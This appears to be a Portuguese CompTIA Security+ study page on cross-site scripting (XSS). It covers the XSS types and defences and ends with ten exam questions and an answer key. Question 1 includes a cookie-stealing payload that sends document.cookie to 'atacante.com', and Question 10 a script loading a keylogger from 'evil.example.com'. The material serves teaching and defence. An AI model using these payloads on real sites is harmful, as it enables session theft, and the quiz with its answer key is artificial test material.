COMPTIA SECURITY+ SY0-701 | DOMÍNIO 2 · AMEAÇAS, VULNERABILIDADES E MITIGAÇÕES (22%)

Security+ 2.3 · Cross-Site Scripting (XSS)

Mestre CyberSec · **Aula 2.3 — Cross-Site Scripting (XSS)** (8:34) · Assistir Vídeo no YouTube ↗ · Treino Interativo: edusouzamarques.github.io/cybersec

> **Resumo Executivo da Aula:** Injeta JavaScript num site de terceiros que roda COM AS CREDENCIAIS DA VÍTIMA (cookie, sessão). 3 tipos: Refletido (no link — vítima clica), Persistido (fica no DB — afeta todos que ver), DOM-based. Defesa: sanitize/escape output, HttpOnly cookie, CSP (Content Security Policy).

💡 Highlights que a prova CompTIA cobra

- XSS roda JavaScript no navegador da VÍTIMA — com os cookies DELA
- Persistido = armazenado no banco; refletido = vem do query string
- HttpOnly cookie: JavaScript não pode ler — mitiga XSS stealing

🎯 Dicas de Prova & Cenários Típicos da Banca

- 'malicious JavaScript runs in the victim's browser' = XSS
- 'Content Security Policy as defense' = XSS mitigation

🚨 Além do Vídeo: Conceitos Oficiais, Siglas e Armadilhas (Seção 2.3 — Cross-Site Scripting (XSS))

Por que este aprofundamento é cobrado na prova?: O vídeo resume os tópicos práticos, mas o exame CompTIA SY0-701 cobra discernimento técnico rigoroso sobre as tecnologias e protocolos específicos desta seção:

• Cross-Site Scripting (injeção de script entre sites) (XSS)
Ataque de injeção onde JavaScript malicioso é embutido num site confiável e executa no navegador da vítima, rodando COM as credenciais, sessão e cookies DELA. Ataca o usuário/navegador, não o banco de dados do servidor.

⚠ ***Armadilha CompTIA:*** *Gatilho: 'malicious script runs in the victim's browser' ou 'script executes with the user's session' = XSS. NÃO confundir com SQL injection (ataca o BD no servidor) nem CSRF (força o navegador a ENVIAR requisição; XSS EXECUTA JS do atacante).*

• XSS Refletido (não persistente) (Reflected XSS)
Variante do XSS onde o script malicioso vai num link/query string adulterado e é 'refletido' de volta na resposta do servidor. Exige que a vítima CLIQUE no link (geralmente phishing); nada fica armazenado no servidor.

⚠ ***Armadilha CompTIA:*** *Gatilho: 'victim clicks a malicious link' ou payload no query string/URL = Refletido. É NÃO persistente — precisa de interação da vítima a cada ataque.*

• XSS Persistido/Armazenado (Stored XSS)
Variante do XSS onde o script malicioso fica salvo permanentemente no banco de dados da aplicação (post de fórum, comentário, perfil). Todo usuário que VISUALIZA a página executa o script — é o tipo de maior impacto.

⚠ ***Armadilha CompTIA:*** *Gatilho: 'stored in the database', 'affects all users who view the page', comentário/post de fórum malicioso = Persistido. Não exige clicar em link — basta abrir a página.*

• XSS baseado em DOM (DOM XSS)
Variante do XSS executada totalmente no lado do cliente: a entrada do atacante manipula o DOM da página via JavaScript existente, e o payload NUNCA chega ao servidor. Logs e filtros do servidor não detectam.

⚠ ***Armadilha CompTIA:*** *Gatilho: 'attack never touches the server' ou 'modifies the page DOM client-side' = DOM-based. Diferença chave: refletido/persistido passam pelo servidor; DOM-based não.*

• Atributo HttpOnly de cookie
Flag de cookie que impede que JavaScript do lado do cliente (document.cookie) leia o valor do cookie; ele só é enviado via requisições HTTP(S). Mitiga o ROUBO de token de sessão via XSS, mas não impede a execução do XSS

em si.

⚠️ ***Armadilha CompTIA:*** *Gatilho: 'prevent JavaScript from accessing/reading the cookie' ou 'mitigate cookie stealing in XSS' = HttpOnly. Lembre: mitiga o DANO (roubo de sessão), não bloqueia o script.*

• Política de Segurança de Conteúdo (CSP)

Cabeçalho de resposta HTTP que define quais fontes de conteúdo (scripts, imagens, frames) o navegador pode carregar e executar. O CSP bloqueia scripts inline e não confiáveis — defesa principal contra XSS aplicada pelo navegador.

⚠️ ***Armadilha CompTIA:*** *Gatilho: 'Content Security Policy as defense' ou 'restrict which scripts the browser may execute' = mitigação de XSS. Se a questão pede CONTROLE de mitigação de XSS baseado em header HTTP, é CSP.*

• Validação de entrada e codificação de saída (sanitização) (Sanitization)

Práticas de codificação defensiva que filtram/validam a entrada do usuário e escapam caracteres especiais (<, >, &, aspas) antes de renderizar, fazendo o navegador tratar os dados como TEXTO e não como código executável. É a correção fundamental do XSS.

⚠️ ***Armadilha CompTIA:*** *Gatilho: 'sanitize/escape output', 'encode special characters', 'validate input at the application' = prevenção de XSS na raiz. Contraste: isso CORRIGE a vulnerabilidade; HttpOnly e CSP apenas MITIGAM o impacto.*

• Sequestro de sessão via roubo de cookie (Session Hijacking)

Objetivo comum de pós-exploração do XSS: o script injetado rouba o cookie de sessão da vítima e o envia ao atacante, que o reutiliza para se passar pelo usuário autenticado SEM precisar da senha.

⚠️ ***Armadilha CompTIA:*** *Gatilho: 'attacker steals the session token/cookie and impersonates the user' = consequência clássica do XSS (o 'PORQUÊ' do ataque). HttpOnly existe exatamente para quebrar essa cadeia.*

🏛️ Visão Didática, Analogias & Análise de Governança (GRC)

📌 XSS Refletido vs. XSS Armazenado (Persistente)

🏠 **Analogia Intuitiva:** O espelho que reflete luz nos olhos vs. o panfleto venenoso colado no livro da biblioteca pública. O Refletido é um espelho côncavo: o atacante engana uma vítima específica para olhar por um telescópio apontado para aquele espelho (clique no link), e a luz cega momentaneamente aquela pessoa. O Armazenado é alguém entrar de madrugada na biblioteca pública e colar um panfleto com pó venenoso dentro da enciclopédia: todos os cidadãos que abrirem aquela página nos próximos seis meses serão contaminados.

🔍 **Causa Raiz / Por que foi criado:** A aplicação web aceita dados fornecidos por usuários (como parâmetros de URL ou comentários) e os inclui diretamente no HTML enviado ao navegador sem sanitização ou codificação de saída, fazendo o navegador interpretar o texto como código executável.

🛡️ **Visão do Auditor de GRC:** Auditoria de segurança em aplicações web (OWASP Top 10 A03). Implementação de varreduras DAST contínuas e exigência de revisão de código em campos de interação comunitária (comentários, avaliações, fóruns de suporte e tickets).

⚠️ **Como cai na Prova CompTIA:** Gatilhos da CompTIA: Refletido: 'victim clicks a crafted link containing script tags in a search parameter'. Armazenado: 'attacker submits a comment in a forum containing <script> that executes whenever any user views the discussion thread'. O Armazenado é classificado com severidade muito maior por não exigir engenharia social direcionada a cada vítima.

📌 XSS Baseado em DOM e Manipulação Insegura em Frameworks

🏠 **Analogia Intuitiva:** O bilhete para o robô aspirador local. Uma encomenda chega pelo correio (servidor) dentro de uma caixa de papelão intacta. O dono da casa tem um robô aspirador inteligente com câmera programado para ler qualquer post-it colado do lado de fora da caixa e executar comandos domésticos. O invasor colou um post-it: 'Robô, quebre os pratos da cozinha!'. O correio não tem culpa e não viu nada; o desastre foi causado inteiramente pelas regras imprudentes do robô local lendo dados brutos.

🔍 **Causa Raiz / Por que foi criado:** Manipulação direta de sinks perigosos do DOM (ex: innerHTML, document.write, location.href) recebendo dados de sources não sanitizadas (ex: location.hash, window.name) no JavaScript cliente.

🛡️ **Visão do Auditor de GRC:** Auditoria de segurança de código frontend através de linters estáticos (ESLint security rules) proibindo métodos inseguros de injeção de HTML bruto em frameworks modernos sem aprovação formal do time de arquitetura de segurança.

> ⚠️ **Como cai na Prova CompTIA:** Gatilhos da CompTIA: 'Malicious payload executes purely within the browser's Document Object Model without being transmitted to web server logs'. Resposta: DOM-based XSS. Gatilho de desenvolvimento: 'developer intentionally bypassed template escaping to render unvetted HTML'.

📌 Codificação de Saída Contextual e Sanitização de HTML

🏠 **Analogia Intuitiva:** A plastificadora de fotos de armas. Se alguém envia uma dinamite desenhada com pavio aceso querendo que o navegador acenda o fogo, você passa a folha por uma máquina plastificadora especial. O símbolo '<' vira '<'. O navegador olha para aquilo e diz: 'Ah, isso é apenas o desenho de um caractere menor-que para enfeitar a tela, não é o início de um comando executável'.

🔍 **Causa Raiz / Por que foi criado:** Falta de diferenciação pelo interpretador do navegador entre texto informativo e comandos sintáticos quando delimitadores HTML não são codificados previamente pelo servidor web.

🛡️ **Visão do Auditor de GRC:** Verificação de conformidade com padrões de codificação segura (OWASP ASVS Requisito 5). Validação de que bibliotecas consolidadas de sanitização (ex: DOMPurify) e mecanismos de auto-escaping de frameworks modernos estão ativados por padrão em todos os repositórios.

> ⚠️ **Como cai na Prova CompTIA:** Gatilhos da CompTIA: 'What is the PRIMARY defensive programming technique to mitigate XSS when rendering user input in HTML?' Resposta: Context-Aware Output Encoding (Codificação de Saída Contextual). Distrator comum: Input validation (validação ajuda, mas não substitui a codificação no ponto de saída).

📌 O Escudo do Navegador: Flag HttpOnly e Content Security Policy (CSP)

🏠 **Analogia Intuitiva:** O cofre com fenda de correio e a lista de convidados na porta do auditório. O cookie com HttpOnly é como guardar a chave do cofre em um compartimento blindado que só o motorista do caminhão oficial (o navegador falando com o servidor) pode usar; nenhum passageiro fofoqueiro com megafone (o JavaScript injetado) consegue colocar as mãos na chave. A CSP é a lista rígida de palestrantes autorizados na porta do auditório: se uma pessoa não credenciada subir no palco e tentar pegar o microfone (um script inline injetado), os seguranças desligam o som imediatamente.

🔍 **Causa Raiz / Por que foi criado:** Historicamente, o modelo de segurança web permitia que qualquer script na página tivesse acesso irrestrito aos cookies de autenticação e carregasse recursos externos de servidores arbitrários sem restrição de origem.

🛡️ **Visão do Auditor de GRC:** Auditoria de cabeçalhos de resposta HTTP utilizando scanners de conformidade (Mozilla Observatory). Verificação obrigatória de que todo cookie de autenticação possui as flags 'HttpOnly', 'Secure' e 'SameSite', e que o cabeçalho 'Content-Security-Policy' restringe 'script-src' e 'default-src'.

> ⚠️ **Como cai na Prova CompTIA:** Gatilhos da CompTIA: Cenário 1: 'An attacker successfully injects XSS into a website, but is UNABLE to access or exfiltrate the victim's session cookie'. Qual controle protegeu o cookie? Resposta: Flag HttpOnly. Cenário 2: 'A security header configured to prevent XSS by restricting allowed script sources and disallowing inline scripts'. Resposta: Content Security Policy (CSP).

⚡ TABELA DE FIXAÇÃO RÁPIDA PARA O EXAME (CHEAT SHEET)

Cenário Típico de Exame / Situação Prática	Conceito Técnico & Resposta da Banca
Invasor posta comentário malicioso em fórum que contamina todos que abrem o tópico	**XSS Armazenado / Persistente (Stored XSS)**
Invasor envia link de phishing contendo script na busca; código rebate na hora	**XSS Refletido (Reflected XSS)**
Script executa puramente no navegador manipulando o DOM sem aparecer nos logs do servidor	**XSS Baseado em DOM (DOM-Based XSS)**
Invasor executa XSS mas não consegue roubar o token de sessão via document.cookie	**Flag HttpOnly nos Cookies de Sessão (HttpOnly Cookie Flag)**
Cabeçalho HTTP que diz ao navegador quais domínios podem carregar scripts e bloqueia inline	**Content Security Policy (CSP)**
Técnica primária de desenvolvimento para neutralizar caracteres HTML perigosos na renderização	**Codificação de Saída Contextual (Context-Aware Output Encoding)**

✅ Perguntas de Treino Comentadas (10 Questões de Cenários Reais)

Cenários autênticos alinhados aos objetivos do exame. O gabarito com análise completa dos distratores encontra-se ao final.

QUESTÃO 1 · CENÁRIO DE EXAME

Um analista de segurança de um banco online está revisando logs após uma onda de ataques de phishing. Os e-mails de phishing contêm links no formato https://banco.exemplo.com/transferencia?nota=<script>document.location='https://atacante.com/roubar?c='+document.cookie</script>. Quando a vítima clica no link estando autenticada, a página de 'confirmação de transferência' do banco reflete o parâmetro 'nota' diretamente na resposta HTML sem sanitização, executando o JavaScript do atacante. Qual tipo de ataque XSS está sendo explorado?

A) Cross-Site Scripting Refletido

B) Cross-Site Scripting Persistente (Stored)

C) Cross-Site Scripting baseado em DOM

D) Server-Side Template Injection

QUESTÃO 2 · CENÁRIO DE EXAME

Uma empresa de e-commerce descobre que sua seção de avaliações de produtos foi weaponizada. Um atacante enviou uma avaliação contendo código JavaScript malicioso. Agora, cada cliente que visualiza a página do produto afetado executa inadvertidamente o script do atacante, que exfiltra dados de sessão e realiza ações não autorizadas. O código malicioso persiste no banco de dados e continua afetando os visitantes. Qual variante de XSS é essa?

A) Cross-Site Scripting baseado em DOM

B) Cross-Site Scripting Refletido

C) Cross-Site Scripting Persistente (Stored)

D) Blind Cross-Site Scripting

QUESTÃO 3 · CENÁRIO DE EXAME

Uma aplicação web recentemente sofreu um incidente de sequestro de sessão. A análise forense revela que um atacante explorou uma vulnerabilidade XSS para executar JavaScript que leu document.cookie e transmitiu o token de sessão para um servidor externo. A equipe de segurança quer mitigar este vetor de ataque específico: mesmo que futuros bugs de XSS apareçam, os cookies de sessão devem permanecer inacessíveis a scripts client-side. Qual mitigação deve ser priorizada?

A) Definir o flag HttpOnly no cookie de sessão

B) Habilitar HTTP Strict Transport Security (HSTS)

C) Aumentar a entropia do cookie de sessão para 256 bits

D) Implementar SameSite=Strict em todos os cookies

QUESTÃO 4 · CENÁRIO DE EXAME

O CISO de uma empresa SaaS quer defesa em profundidade contra XSS. O objetivo é garantir que, mesmo que um desenvolvedor acidentalmente introduza uma falha de sanitização, o próprio navegador se recusará a executar scripts inline não autorizados e restringirá as fontes de script a uma lista de permissão conhecida. Qual mecanismo de cabeçalho de resposta HTTP o CISO deve tornar obrigatório?

A) X-Frame-Options

B) Content Security Policy (CSP)

C) X-Content-Type-Options: nosniff

D) Strict-Transport-Security

QUESTÃO 5 · CENÁRIO DE EXAME

Um pentester mira uma aplicação single-page (SPA) que renderiza detalhes de produtos dinamicamente. A aplicação lê dados controlados pelo usuário do fragmento da URL (document.location.hash) usando JavaScript e os insere diretamente no DOM da página via innerHTML. O payload malicioso nunca é enviado ao servidor e nunca aparece em requisições HTTP ou logs do servidor. O tester confirma que o script executa no navegador da vítima. Qual variante de XSS é essa?

A) Cross-Site Scripting baseado em DOM

B) Cross-Site Scripting Persistente (Stored)

C) Cross-Site Scripting Refletido

D) Server-Side Request Forgery

QUESTÃO 6 · CENÁRIO DE EXAME

Um desenvolvedor está construindo um fórum onde usuários enviam posts que outros usuários lerão. Para evitar que usuários injetem tags <script> em seus posts e executem código nos navegadores de outros usuários, o desenvolvedor deve garantir que o texto enviado pelos usuários seja renderizado como caracteres literais em vez de HTML executável. Qual técnica alcança isso?

A) Validação de comprimento de entrada

B) Bloquear todos os caracteres especiais na entrada do usuário

C) Output encoding/escaping antes da inserção no HTML

D) Armazenar submissões em uma coluna criptografada

QUESTÃO 7 · CENÁRIO DE EXAME

Após um incidente em que a sessão autenticada de um usuário foi sequestrada depois de visitar uma página comprometida que executou JavaScript lendo document.cookie e enviando via POST para um endpoint controlado pelo atacante, a equipe de segurança deve explicar o impacto para a liderança não técnica. Qual termo MELHOR descreve o resultado que o atacante alcançou?

A) Cross-Site Request Forgery (CSRF)

B) Session Hijacking via Cookie Theft

C) Escalação de Privilégio no Servidor Web

D) Negação de Serviço Distribuída (DDoS)

QUESTÃO 8 · CENÁRIO DE EXAME

Após sofrer uma série de ataques XSS, uma empresa está projetando uma estratégia de defesa em profundidade. O arquiteto de segurança deve recomendar controles que, combinados, seriam mais eficazes contra toda a gama de variantes XSS (Refletido, Persistente e baseado em DOM). Qual combinação fornece a defesa em camadas mais forte?

A) Implementar apenas um Web Application Firewall (WAF) e desabilitar JavaScript em todos os navegadores clientes

B) Implementar validação de entrada, output encoding sensível ao contexto, cookies HttpOnly e uma Content Security Policy estrita

C) Implementar IP whitelisting no servidor web e exigir rotação mensal de senhas para todos os usuários

D) Migrar todo o site para HTTPS e habilitar HSTS com max-age de 1 ano

QUESTÃO 9 · CENÁRIO DE EXAME

Durante uma revisão de código de uma funcionalidade de busca de e-commerce, um desenvolvedor percebe que o termo de busca inserido pelo usuário é renderizado na página de resultados usando um template que interpola o valor bruto diretamente no HTML (por exemplo, ' Resultados para: ${query} '). Um tester confirma que submeter <img src=x onerror=alert(1)> como termo de busca dispara um diálogo de alerta. O payload malicioso não é armazenado. Qual vulnerabilidade o tester confirmou?

A) SQL Injection

B) Cross-Site Scripting Persistente (Stored)

C) Cross-Site Scripting Refletido

D) Cross-Site Request Forgery

QUESTÃO 10 · CENÁRIO DE EXAME

Uma rede social permite que os usuários definam uma bio 'Sobre Mim' personalizada que é publicamente visível em suas páginas de perfil. Um usuário (ou atacante) define sua bio como <script src='https://evil.example.com/keylogger.js'></script>. A partir desse ponto, cada visitante que visualiza o perfil executa o script malicioso em sua própria sessão de navegador, com acesso completo aos cookies e DOM desse visitante. Qual é a classificação deste ataque?

A) XSS baseado em DOM

B) XSS Persistente (Stored)

C) XSS Refletido

D) Local File Inclusion

GABARITO COMENTADO COM ANÁLISE DE DISTRATORES

Questão 1: Alternativa A — Cross-Site Scripting Refletido

Este é um clássico ataque de XSS Refletido (Reflected XSS). O payload malicioso é entregue através de um parâmetro de URL crafted e 'refletido' pelo servidor em sua resposta HTTP imediatamente, sem ser armazenado de forma persistente. A execução requer que a vítima clique no link malicioso estando autenticada. O XSS Stored exigiria que o payload fosse salvo em um banco de dados (por exemplo, um post em fórum). O XSS baseado em DOM seria processado inteiramente no lado cliente sem reflexão do servidor. Server-Side Template Injection é uma classe diferente de vulnerabilidade que afeta engines de template.

Questão 2: Alternativa C — Cross-Site Scripting Persistente (Stored)

Este é XSS Persistente (Stored XSS) — a variante mais perigosa. O payload malicioso é salvo permanentemente no banco de dados da aplicação (o sistema de avaliações) e é servido a cada usuário que visualiza a página afetada. Diferente do XSS Refletido, ele não requer que a vítima clique em um link crafted; qualquer visitante da página comprometida é automaticamente afetado. O XSS baseado em DOM envolve processamento no lado cliente. Blind XSS é um subtipo tipicamente direcionado a interfaces de backend/admin onde o atacante não vê o resultado imediato.

Questão 3: Alternativa A — Definir o flag HttpOnly no cookie de sessão

O atributo HttpOnly do cookie instrui o navegador a proibir o acesso JavaScript ao cookie via document.cookie, neutralizando a técnica específica usada neste ataque. HSTS impõe HTTPS mas não bloqueia o acesso de JavaScript ao cookie. Aumentar a entropia do cookie defende contra adivinhação por força bruta, não contra XSS. SameSite=Strict mitiga CSRF, não roubo de cookie baseado em XSS. HttpOnly é a defesa canônica contra roubo de sessão via XSS.

Questão 4: Alternativa B — Content Security Policy (CSP)

Content Security Policy (CSP) é a resposta correta. Um cabeçalho CSP (por exemplo, Content-Security-Policy: default-src 'self'; script-src 'self') informa ao navegador para bloquear scripts inline e carregar scripts apenas de fontes aprovadas, mitigando o impacto do XSS mesmo quando a sanitização falha. X-Frame-Options previne clickjacking via iframes. X-Content-Type-Options previne MIME sniffing. HSTS impõe segurança no transporte HTTPS, mas não controla a execução de scripts.

Questão 5: Alternativa A — Cross-Site Scripting baseado em DOM

Este é XSS baseado em DOM. A vulnerabilidade existe inteiramente no JavaScript do lado cliente, onde o uso inseguro de sources (document.location.hash) alimenta sinks (innerHTML) sem sanitização. Como o fragmento da URL nunca é transmitido ao servidor, controles server-side e WAFs não conseguem detectar ou bloquear. XSS Refletido requer reflexão server-side. XSS Stored requer persistência em banco de dados. SSRF visa o servidor, não o navegador do usuário.

Questão 6: Alternativa C — Output encoding/escaping antes da inserção no HTML

Output encoding (também chamado HTML escaping) converte caracteres perigosos como <, >, ', ", e & em suas entidades HTML (<, >, etc.) para que o navegador os renderize como texto em vez de interpretá-los como código. Validação de comprimento é irrelevante para injeção de scripts. Bloquear todos os caracteres especiais é restritivo demais e quebra conteúdo legítimo. Criptografia protege dados em repouso, mas não afeta como o navegador renderiza o conteúdo.

Questão 7: Alternativa B — Session Hijacking via Cookie Theft

Session Hijacking via Cookie Theft descreve com precisão o resultado. O atacante roubou o cookie de sessão da vítima via XSS e o usou para se passar pela vítima. CSRF enganaria o navegador do usuário a enviar uma requisição forjada usando credenciais existentes, mas não exigiria roubar o cookie. Escalação de privilégio envolve obter acesso mais elevado no servidor. DDoS visa interromper a disponibilidade do serviço. A resposta correta captura tanto a técnica (roubo de cookie) quanto o objetivo (sequestro de sessão).

Questão 8: Alternativa B — Implementar validação de entrada, output encoding sensível ao contexto, cookies HttpOnly e uma Content Security Policy estrita

Validação de entrada reduz payloads maliciosos no ponto de entrada. Output encoding sensível ao contexto neutraliza ameaças remanescentes no estágio de renderização (eficaz contra XSS Refletido e Persistente). Cookies HttpOnly impedem que JavaScript leia tokens de sessão, limitando o impacto do roubo de cookies. Uma CSP estrita restringe fontes de script, mitigando XSS baseado em DOM e Stored mesmo quando a sanitização falha. WAFs podem ser contornados; desabilitar JavaScript é impraticável; IP whitelisting e rotação de senhas não abordam XSS; HTTPS/HSTS não controlam a execução de scripts.

Questão 9: Alternativa C — Cross-Site Scripting Refletido

O payload não é armazenado em nenhum banco de dados — ele é refletido pelo servidor na resposta imediata à requisição de busca. A falta de output encoding permite que o navegador interprete o HTML/JS controlado pelo atacante, executando-o. Esta é a definição clássica de XSS Refletido. SQL Injection visaria bancos de dados backend via sintaxe SQL. XSS Stored persistiria o payload no banco de dados. CSRF enganaria um usuário autenticado a realizar ações; ele não executa JavaScript injetado.

Questão 10: Alternativa B — XSS Persistente (Stored)

O payload malicioso é armazenado persistentemente no campo de perfil do usuário no banco de dados backend e renderizado para cada visitante daquele perfil. Este é XSS Stored, que é particularmente perigoso porque o atacante não precisa interagir diretamente com as vítimas — apenas precisa que as vítimas visualizem a página comprometida. XSS baseado em DOM exigiria manipulação do DOM no lado cliente. XSS Refletido requer que o payload seja enviado em uma única requisição. LFI visa inclusão de arquivos no lado servidor.